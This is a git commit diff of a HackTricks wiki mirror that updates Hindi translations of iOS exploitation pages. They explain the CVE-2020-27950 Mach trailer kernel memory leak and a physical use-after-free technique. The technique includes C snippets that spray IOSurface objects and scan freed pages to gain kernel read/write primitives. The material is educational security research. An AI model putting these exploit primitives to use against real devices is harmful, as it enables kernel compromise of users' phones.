maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/blockchain/blockchain-and-crypto-currencies/README.md',

Browse Source
This commit is contained in:
Translator 2025-09-30 00:26:31 +00:00
parent 029ab3bfb2
commit 11e7c59f75
7 changed files with 459 additions and 483 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
src/SUMMARY.md
View File

@ -81,6 +81,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
# 🧙‍♂️ Generic Hacking
@ -769,7 +770,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -846,7 +847,6 @@
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
# 🤖 AI
- [AI Security](AI/README.md)
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
@ -895,7 +895,6 @@
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
# ✍️ TODO

32
src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md
View File

@ -5,11 +5,11 @@
## बग
You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), लेकिन सारांश में:
You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), पर सार:
हर Mach message जो kernel प्राप्त करता है, वह एक **"trailer"** के साथ समाप्त होता है: एक variable-length struct जिसमें metadata (seqno, sender token, audit token, context, access control data, labels...) होता है। kernel message buffer में हमेशा सबसे बड़े संभव trailer (MAX_TRAILER_SIZE) को आरक्षित करता है, पर **केवल कुछ fields को ही initialize** करता है, और बाद में **user-controlled receive options** के आधार पर यह तय करता है कि किस trailer size को return करना है।
हर Mach message जो kernel प्राप्त करता है उसके अंत में एक **"trailer"** होता है: metadata (seqno, sender token, audit token, context, access control data, labels...) वाला एक variable-length struct। kernel संदेश buffer में हमेशा सबसे बड़े संभव trailer (MAX_TRAILER_SIZE) को **reserve** करता है, लेकिन केवल कुछ फील्ड्स को ही **initialize** करता है, और बाद में **user-controlled receive options** के आधार पर यह तय करता है कि कौन सा trailer size वापस किया जाएगा।
These are the trailer relevant structs:
ये trailer संबंधित structs हैं:
```c
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
@ -31,7 +31,7 @@ msg_labels_t msgh_labels;
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```
फिर, जब trailer object जेनरेट किया जाता है, केवल कुछ fields ही इनिशियलाइज़ किए जाते हैं, और max trailer size हमेशा रिज़र्व रहती है:
फिर, जब trailer object जनरेट किया जाता है, केवल कुछ fields इनिशियलाइज़ किए जाते हैं, और max trailer size हमेशा रिज़र्व रहता है:
```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
फिर, उदाहरण के लिए, जब `mach_msg()` का उपयोग करके किसी mach message को पढ़ने की कोशिश की जाती है, तो संदेश में trailer जोड़ने के लिए `ipc_kmsg_add_trailer()` फ़ंक्शन को कॉल किया जाता है। इस फ़ंक्शन के अंदर tailer size की गणना की जाती है और कुछ अन्य trailer फ़ील्ड भरे जाते हैं:
फिर, उदाहरण के लिए, जब `mach_msg()` का उपयोग करके एक mach message पढ़ने की कोशिश की जाती है, तो संदेश में ट्रेलर जोड़ने के लिए `ipc_kmsg_add_trailer()` फ़ंक्शन को कॉल किया जाता है। इस फ़ंक्शन के अंदर ट्रेलर का आकार गणना किया जाता है और कुछ अन्य ट्रेलर फील्ड भरे जाते हैं:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
@ -51,9 +51,9 @@ trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
`option` पैरामीटर उपयोगकर्ता-नियंत्रित है, इसलिए **ऐसा मान देना आवश्यक है जो `if` चेक को पास करे।**
`option` पैरामीटर उपयोगकर्ता-नियंत्रित है, इसलिए **ऐसा मान पास करना आवश्यक है जो `if` चेक को पास करे।**
इस चेक को पास करने के लिए हमें एक वैध समर्थित `option` भेजना होगा:
इस चेक को पार करने के लिए हमें एक वैध समर्थित `option` भेजनी होगी:
```c
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
@ -67,9 +67,9 @@ trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
लेकिन, क्योंकि `MACH_RCV_TRAILER_MASK` केवल बिट्स की जांच कर रहा है, हम `0` और `8` के बीच कोई भी मान पास कर सकते हैं ताकि `if` स्टेटमेंट के अंदर प्रवेश न हो।
लेकिन, क्योंकि `MACH_RCV_TRAILER_MASK` सिर्फ बिट्स की जाँच कर रहा है, हम `0` और `8` के बीच कोई भी मान पास कर सकते हैं ताकि `if` statement में प्रवेश न हो।
फिर, कोड को आगे बढ़ाते हुए आप पाएँगे:
फिर, कोड में आगे देखते हुए आप पाएँगे:
```c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
@ -92,21 +92,21 @@ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
return trailer->msgh_trailer_size;
```
Where you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`.
Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`.
अगर आप ध्यान दें, **`msgh_ad`** अभी भी trailer का एकमात्र ऐसा फील्ड था जिसे पहले initialize नहीं किया गया था और जो पहले उपयोग की गई मेमोरी से कोई leak रख सकता था।
यदि आप ध्यान दें, **`msgh_ad`** ट्रेलर का वह अकेला फ़ील्ड था जिसे पहले इनिशियलाइज़ नहीं किया गया था और जो पहले उपयोग की गई मेमोरी से कोई leak रख सकता था।
इसलिए, इसे initialize होने से रोकने का तरीका यह होगा कि `option` मान `5` या `6` पास किया जाए, ताकि यह पहले `if` चेक को पास कर ले और उस `if` में न जाए जो `msgh_ad` को initialize करता है, क्योंकि मान `5` और `6` का कोई trailer type जुड़ा नहीं होता।
इसलिए, इसे इनिशियलाइज़ होने से बचाने का तरीका यह होगा कि `option` की वैल्यू `5` या `6` पास की जाए, ताकि यह पहले `if` चेक को पास कर जाए और उस `if` में न जाए जो `msgh_ad` को इनिशियलाइज़ करता है, क्योंकि मान `5` और `6` के साथ कोई trailer type जुड़ा नहीं है।
### Basic PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), आपके पास एक PoC है जो कुछ random डेटा केवल leak करता है।
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
### Leak Kernel Address PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), आपके पास एक PoC है जो एक kernel address leak करता है। इसके लिए, संदेश में `mach_msg_port_descriptor_t` structs से भरा हुआ एक message भेजा जाता है क्योंकि इस structure का `name` field userland में एक unsigned int रखता है लेकिन kernel में `name` field एक struct `ipc_port` pointer होता है। इसलिए, इन structs की कई प्रतियाँ message में भेजने से kernel के कई addresses message के अंदर add हो जाएंगे ताकि उनमें से एक को leak किया जा सके।
The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
बेहतर समझ के लिए टिप्पणियाँ जोड़ी गईं:
Commetns were added for better understanding:
```c
#include <stdio.h>
#include <stdlib.h>
@ -326,7 +326,7 @@ return 0;
```
## संदर्भ
- [Synacktiv का ब्लॉग पोस्ट](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
{{#include ../../banners/hacktricks-training.md}}

143
src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md
View File

@ -5,17 +5,16 @@
## iOS Exploit Mitigations
- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code.
- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks.
- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming).
- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts.
- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control.
- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash.
- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly.
- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably.
- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques.
- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder.
- **Code Signing** iOS में executable कोड (apps, libraries, extensions, आदि) को Apple द्वारा जारी किए गए certificate से cryptographically sign करने की आवश्यकता रखता है। जब कोड लोड होता है, तो iOS Apple के trusted root के खिलाफ डिजिटल हस्ताक्षर की जाँच करता है। अगर signature invalid, missing, या modified है, तो OS उसे चलाने से मना कर देता है। यह attackers को legitimate apps में malicious code inject करने या unsigned binaries चलाने से रोकता है।
- **CoreTrust** वह subsystem है जो runtime पर code signing लागू करता है। यह cached trust stores पर भरोसा किए बिना सीधे Apple के root certificate से signatures verify करता है, यानी केवल Apple द्वारा sign किए गए (या valid entitlements वाले) binaries ही execute कर सकते हैं। CoreTrust यह सुनिश्चित करता है कि अगर attacker किसी app को installation के बाद tamper करे, system libraries बदलें, या unsigned code load करने की कोशिश करें, तो execution block हो जाएगा जब तक कोड सही तरीके से signed न हो।
- **Data Execution Prevention (DEP)** मेमोरी regions को non-executable के रूप में mark करता है जब तक वे явно code न रखें। इससे attackers stack या heap जैसे डेटा क्षेत्रों में shellcode inject कर उसे execute नहीं कर पाते, और उन्हें ROP जैसे जटिल तरीकों पर निर्भर होना पड़ता है।
- **ASLR (Address Space Layout Randomization)** हर बार सिस्टम चलने पर code, libraries, stack, और heap के memory addresses को randomize करता है। इससे attackers के लिए उपयोगी instructions या gadgets के स्थान का अनुमान लगाना मुश्किल हो जाता है, और कई exploit chain टूट जाते हैं जो fixed memory layout पर निर्भर होते हैं।
- **KASLR (Kernel ASLR)** वही randomization kernel पर लागू करता है। kernel के base address को हर boot पर shuffle करके attackers को kernel functions या structures का भरोसेमंद पता लगाना कठिन कर देता है, जिससे kernel-level exploits का मुश्किल स्तर बढ़ता है।
- **Kernel Patch Protection (KPP)** जिसे iOS में **AMCC (Apple Mobile File Integrity)** के नाम से भी जाना जाता है, kernel की code pages की सतत निगरानी करता है ताकि यह सुनिश्चित किया जा सके कि उन्हें modify न किया गया हो। अगर कोई tampering detect होता है—जैसे exploit kernel functions को patch करने की कोशिश करे—तो device तुरंत panic कर reboot हो जाएगा। यह persistent kernel exploits को बहुत कठिन बनाता है क्योंकि attackers kernel instructions को hook या patch किए बिना persistence हासिल नहीं कर सकते।
- **Kernel Text Readonly Region (KTRR)** iOS devices पर एक hardware-based security feature है। यह CPU के memory controller का उपयोग करके kernel के code (text) सेक्शन को boot के बाद permanently read-only mark कर देता है। एक बार lock होने के बाद, kernel भी इस memory region को modify नहीं कर सकता। इससे attackers और privileged code दोनों को runtime पर kernel code patch करने से रोका जाता है।
- **Pointer Authentication Codes (PAC)** pointers के unused bits में cryptographic signatures embed करके उनकी integrity verify करते हैं। जब pointer (जैसे return address या function pointer) बनाया जाता है, CPU इसे secret key से sign करता है; dereference से पहले CPU signature check करता है। अगर pointer tamper किया गया हो तो check fail कर जाता है और execution रुक जाती है। इससे attackers के लिए corrupted pointers को forge या reuse करना मुश्किल हो जाता है, और ROP/JOP जैसी techniques विश्वसनीय रूप से करना कठिन हो जाता है।
- **Privilege Access never (PAN)** एक hardware feature है जो kernel (privileged mode) को सीधे user-space memory तक पहुँचने से रोकता है जब तक कि वह explicitly access enable न करे। इससे kernel code execution हासिल करने वाले attackers के लिए user memory पढ़ना/लिखना और sensitive data चुराना कठिन हो जाता है। PAN strict separation लागू करके kernel exploits के प्रभाव को कम करता है।
- **Page Protection Layer (PPL)** एक iOS security mechanism है जो critical kernel-managed memory regions, खासकर those related to code signing और entitlements, को protect करता है। यह MMU और अतिरिक्त checks का उपयोग करके strict write protections लागू करता है, जिससे privileged kernel code भी sensitive pages को arbitrary रूप से modify नहीं कर सकता। यह kernel-level execution हासिल करने वाले attackers के लिए code-signing bypasses और persistence को बहुत कठिन बनाता है।
## Physical use-after-free
@ -23,89 +22,89 @@ This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-explo
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
iOS पर user processes के लिए **virtual memory address space** **0x0 से 0x8000000000** तक फैला हुआ होता है। हालाँकि, ये addresses सीधे physical memory से मैप नहीं होते। इसके बजाय, **kernel** virtual addresses को वास्तविक **physical addresses** में translate करने के लिए **page tables** का उपयोग करता है।
User processes के लिए **virtual memory address space** iOS पर **0x0 to 0x8000000000** तक फैला हुआ है। ये addresses सीधे physical memory से map नहीं होते। इसके बजाय, **kernel** page tables का उपयोग करके virtual addresses को वास्तविक **physical addresses** में translate करता है।
#### Levels of Page Tables in iOS
Page tables तीन स्तरों में hierarchical रूप से व्यवस्थित होते हैं:
Page tables hierarchical तरीके से तीन levels में organize होते हैं:
1. **L1 Page Table (Level 1)**:
* यहाँ हर entry virtual memory के एक बड़े क्षेत्र का प्रतिनिधित्व करती है।
* यह **0x1000000000 bytes** (या **256 GB**) की virtual memory को कवर करती है।
* यहाँ हर entry virtual memory का बड़ा range represent करती है।
* यह **0x1000000000 bytes** (या **256 GB**) का virtual memory cover करती है.
2. **L2 Page Table (Level 2)**:
* यहाँ की एक entry virtual memory के एक छोटे क्षेत्र का प्रतिनिधित्व करती है, विशेष रूप से **0x2000000 bytes** (32 MB)।
* अगर एक L1 entry पूरे क्षेत्र को स्वयं मैप नहीं कर सकती तो वह एक L2 table की ओर इशारा कर सकती है।
* यहाँ की entry virtual memory का छोटा क्षेत्र represent करती है, specifically **0x2000000 bytes** (32 MB).
* अगर कोई L1 entry पूरे region को स्वयं map नहीं कर सकती तो वह एक L2 table की ओर pointer कर सकती है।
3. **L3 Page Table (Level 3)**:
* यह सबसे सूक्ष्म स्तर है, जहाँ हर entry एक single **4 KB** memory page को मैप करती है।
* अगर अधिक बारीकी से नियंत्रण की आवश्यकता हो तो एक L2 entry L3 table की ओर इशारा कर सकती है।
* यह सबसे fine-grained level है, जहाँ हर entry एक single **4 KB** memory page को map करती है।
* अगर और अधिक विस्तार से control चाहिए तो L2 entry एक L3 table की ओर pointer कर सकती है।
#### Mapping Virtual to Physical Memory
* **Direct Mapping (Block Mapping)**:
* पेज टेबल की कुछ entries सीधे तौर पर एक range of virtual addresses को contiguous physical addresses के range से मैप कर देती हैं (एक तरह का शॉर्टकट)।
* कुछ entries page table में सीधे एक range of virtual addresses को contiguous range of physical addresses से map करती हैं (जैसे एक shortcut).
* **Pointer to Child Page Table**:
* अगर और अधिक बारीकी की जरूरत हो, तो एक स्तर की entry (उदा., L1) अगले स्तर पर एक **child page table** की ओर इशारा कर सकती है (उदा., L2)।
* यदि अधिक granular control की ज़रूरत हो, तो एक level की entry (उदा., L1) अगली level (उदा., L2) में एक child page table की ओर pointer कर सकती है।
#### Example: Mapping a Virtual Address
मान लीजिए आप virtual address **0x1000000000** तक पहुंचने की कोशिश करते हैं:
माना आप virtual address **0x1000000000** को access करने की कोशिश करते हैं:
1. **L1 Table**:
* kernel उस virtual address से संबंधित L1 page table entry की जाँच करता है। अगर उसमें **pointer to an L2 page table** है, तो वह उस L2 table पर जाता है।
* kernel इस virtual address के लिए L1 page table entry चेक करता है। अगर उसमें **pointer to an L2 page table** है, तो वह उस L2 table पर जाता है।
2. **L2 Table**:
* kernel अधिक विस्तृत मैपिंग के लिए L2 page table की जाँच करता है। अगर इस entry में **pointer to an L3 page table** है, तो वह वहां जाता है।
* kernel अधिक डिटेल mapping के लिए L2 page table चेक करता है। अगर इस entry में **pointer to an L3 page table** है, तो वह आगे बढ़ता है।
3. **L3 Table**:
* kernel अंतिम L3 entry देखता है, जो वास्तविक memory page के **physical address** की ओर इशारा करती है।
* kernel final L3 entry देखता है, जो वास्तविक memory page के **physical address** की ओर इशारा करती है।
#### Example of Address Mapping
यदि आप L2 table के पहले index में physical address **0x800004000** लिखते हैं, तब:
यदि आप physical address **0x800004000** को L2 table के first index में लिखते हैं, तो:
* Virtual addresses **0x1000000000** से **0x1002000000** तक physical addresses **0x800004000** से **0x802004000** तक मैप होंगे।
* यह L2 स्तर पर एक **block mapping** है।
* Virtual addresses **0x1000000000** से **0x1002000000** तक physical addresses **0x800004000** से **0x802004000** तक map हो जाएंगे।
* यह L2 level पर एक **block mapping** है।
वैकल्पिक रूप से, अगर L2 entry किसी L3 table की ओर इशारा करती है:
वैकल्पिक रूप से, अगर L2 entry एक L3 table की ओर pointer करती है:
* Virtual address रेंज **0x1000000000 -> 0x1002000000** में हर 4 KB page को L3 table की व्यक्तिगत entries द्वारा मैप किया जाएगा।
* Virtual address range **0x1000000000 -> 0x1002000000** के हर 4 KB page को L3 table की individual entries map करेंगी।
### Physical use-after-free
एक **physical use-after-free (UAF)** तब होती है जब:
A **physical use-after-free** (UAF) तब होता है जब:
1. कोई process कुछ memory को **readable और writable** के रूप में **allocate** करता है।
2. **page tables** को अपडेट किया जाता है ताकि यह memory process के लिए एक specific physical address से मैप हो जाए।
3. process उस memory को **deallocate** (free) कर देता है।
4. हालांकि, किसी **bug** के कारण kernel **mapping को page tables से हटाना भूल जाता है**, जबकि वह corresponding physical memory को free चिह्नित कर देता है।
5. kernel फिर इस "freed" physical memory को अन्य उपयोगों (जैसे कि **kernel data**) के लिए **reallocate** कर सकता है।
6. क्योंकि mapping हटाया नहीं गया था, process अभी भी उस physical memory को **read और write** कर सकता है।
1. कोई process कुछ memory **allocates** करता है जिसे **readable और writable** बनाया जाता है।
2. **page tables** अपडेट किए जाते हैं ताकि यह memory process को एक specific physical address पर access दे सके।
3. Process उस memory को **deallocates (frees)** कर देता है।
4. लेकिन किसी **bug** के कारण, kernel page tables से उस mapping को **हटा देना भूल जाता है**, जबकि corresponding physical memory को free mark कर दिया जाता है।
5. Kernel फिर इस "freed" physical memory को दूसरे प्रयोजनों के लिए **reallocate** कर सकता है, जैसे कि **kernel data**।
6. चूंकि mapping remove नहीं किया गया, process अब भी इस physical memory को **read और write** कर सकता है।
इसका मतलब है कि process **kernel memory के pages** तक पहुँच सकता है, जिनमें संवेदनशील डेटा या संरचनाएँ हो सकती हैं, और संभावित रूप से एक attacker को **kernel memory को manipulate** करने की अनुमति मिल सकती है।
इसका मतलब है कि process **kernel memory के pages** को access कर सकता है, जिनमें संवेदनशील डेटा या structures हो सकते हैं, जो attacker को **kernel memory manipulate** करने की क्षमता दे सकता है।
### IOSurface Heap Spray
चूंकि attacker यह नियंत्रित नहीं कर सकता कि freed memory को किस specific kernel page पर allocate किया जाएगा, वे एक तकनीक का उपयोग करते हैं जिसे **heap spray** कहा जाता है:
चूंकि attacker यह नियंत्रित नहीं कर सकता कि किस specific kernel pages को freed memory के लिए allocate किया जाएगा, वे एक technique का उपयोग करते हैं जिसे **heap spray** कहा जाता है:
1. attacker kernel memory में बहुत से IOSurface objects **create** करता है।
2. हर IOSurface object के एक field में एक पहचानयोग्य **magic value** होता है, जिससे पहचान आसान हो जाती है।
3. वे freed pages को **scan** करते हैं यह देखने के लिए कि क्या इनमें से कोई IOSurface object किसी freed page पर आ गया है।
4. जब उन्हें freed page पर एक IOSurface object मिलता है, तो वे इसका उपयोग करके **kernel memory को read और write** कर सकते हैं।
1. Attacker kernel memory में बहुत सारी **IOSurface objects** बनाता है।
2. हर IOSurface object के एक field में एक **magic value** रखा जाता है, जिससे उसे पहचानना आसान होता है।
3. वे freed pages को **scan** करते हैं यह देखने के लिए कि क्या इनमें से कोई IOSurface object किसी freed page पर land हुआ है।
4. जब वे किसी freed page पर IOSurface object खोज लेते हैं, तो वे इसका उपयोग करके **kernel memory पढ़ने और लिखने** के लिए इस्तेमाल कर सकते हैं।
इस पर और जानकारी के लिए देखें [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
> [!TIP]
> ध्यान रखें कि iOS 16+ (A12+) devices हार्डवेयर mitigations (जैसे PPL या SPTM) लाते हैं जो physical UAF तकनीकों को काफी कम प्रभावी बनाते हैं।
> PPL code signing, entitlements, और संवेदनशील kernel डेटा से जुड़े पेजों पर कड़े MMU protections लागू करता है, इसलिए भले ही कोई पेज reuse हो जाए, userland या compromised kernel code से PPL-protected पेजों पर लिखने की कोशिशें ब्लॉक हो जाती हैं।
> Secure Page Table Monitor (SPTM) PPL का विस्तार है और page table updates को खुद ही harden करता है। यह सुनिश्चित करता है कि यहां तक कि privileged kernel code भी freed pages को चुपचाप remap या mappings के साथ छेड़छाड़ नहीं कर सकता बिना secure checks के।
> KTRR (Kernel Text Read-Only Region) kernel के code section को boot के बाद read-only के रूप में लॉक कर देता है। यह किसी भी runtime बदलाव को रोकता है, जो physical UAF exploits अक्सर निर्भर करते हैं।
> इसके अलावा, `IOSurface` allocations अब कम predictable हैं और user-accessible क्षेत्रों में map करना कठिन है, जिससे “magic value scanning” ट्रिक कम भरोसेमंद हो जाती है। और `IOSurface` अब entitlements और sandbox restrictions द्वारा सुरक्षित है।
> ध्यान दें कि iOS 16+ (A12+) devices में hardware mitigations (जैसे PPL या SPTM) आते हैं जो physical UAF techniques को बहुत कम प्रभावी बनाते हैं।
> PPL code signing, entitlements, और संवेदनशील kernel data से संबंधित pages पर strict MMU protections लागू करता है, इसलिए यदि कोई page reuse भी होता है, तो userland या compromised kernel code से PPL-protected pages पर writes रोकी जाती हैं।
> Secure Page Table Monitor (SPTM) PPL का विस्तार है और page table updates को कड़ा करता है। यह सुनिश्चित करता है कि privileged kernel code भी freed pages को silently remap या mappings को tamper नहीं कर सके बिना secure checks के।
> KTRR (Kernel Text Read-Only Region) kernel के code section को boot के बाद read-only में लॉक कर देता है। यह runtime पर kernel code के किसी भी प्रकार के modification को रोकता है, जो physical UAF exploits अक्सर उपयोग करते हैं।
> इसके अलावा, `IOSurface` allocations अब कम predictable हैं और user-accessible regions में map करना कठिन हो गया है, जिससे “magic value scanning” ट्रिक कम भरोसेमंद हो गई है। और `IOSurface` अब entitlements और sandbox restrictions द्वारा भी guarded है।
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: attacker कई IOSurface objects create करता है जिनमें एक विशेष identifier ("magic value") होता है।
2. **Scan Freed Pages**: वे यह जाँचते हैं कि क्या इन objects में से कोई freed page पर allocate हुआ है।
3. **Read/Write Kernel Memory**: IOSurface object के fields को manipulate करके, वे kernel memory में **arbitrary reads और writes** करने की क्षमता प्राप्त कर लेते हैं। इससे वे कर पाते हैं:
* एक field का उपयोग करके kernel memory में किसी भी 32-bit value को **read** करना।
* दूसरे field का उपयोग करके 64-bit values **write** करना, जिससे एक स्थिर **kernel read/write primitive** प्राप्त होता है।
1. **Spray IOSurface Objects**: Attacker कई IOSurface objects बनाता है जिनमें एक special identifier ("magic value") होता है।
2. **Scan Freed Pages**: वे यह जांचते हैं कि क्या कोई object किसी freed page पर allocate हुआ है।
3. **Read/Write Kernel Memory**: IOSurface object के fields को manipulate करके वे **arbitrary reads और writes** प्राप्त करते हैं। इससे वे कर सकते हैं:
* एक field का उपयोग करके kernel memory में किसी भी 32-bit value को **read** करें।
* दूसरे field का उपयोग करके 64-bit values **write** करें, जिससे एक stable **kernel read/write primitive** मिलती है।
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
```c
@ -128,7 +127,7 @@ io_connect_t id = result.surface_id;
}
}
```
एक मुक्त भौतिक पृष्ठ में **`IOSurface`** ऑब्जेक्ट्स खोजें:
एक मुक्त किए गए भौतिक पृष्ठ में **`IOSurface`** ऑब्जेक्ट्स खोजें:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
@ -164,23 +163,21 @@ return 0;
```
### IOSurface के साथ Kernel Read/Write प्राप्त करना
kernel memory में एक IOSurface ऑब्जेक्ट (mapped to a freed physical page accessible from userspace) का नियंत्रण हासिल करने के बाद, हम इसे **arbitrary kernel read and write operations** के लिए उपयोग कर सकते हैं।
जब kernel memory में किसी IOSurface object पर नियंत्रण हासिल कर लिया जाए (mapped to a freed physical page जो userspace से accessible है), तो हम इसे **arbitrary kernel read and write operations** के लिए उपयोग कर सकते हैं।
**IOSurface के प्रमुख फील्ड**
**IOSurface में प्रमुख फ़ील्ड**
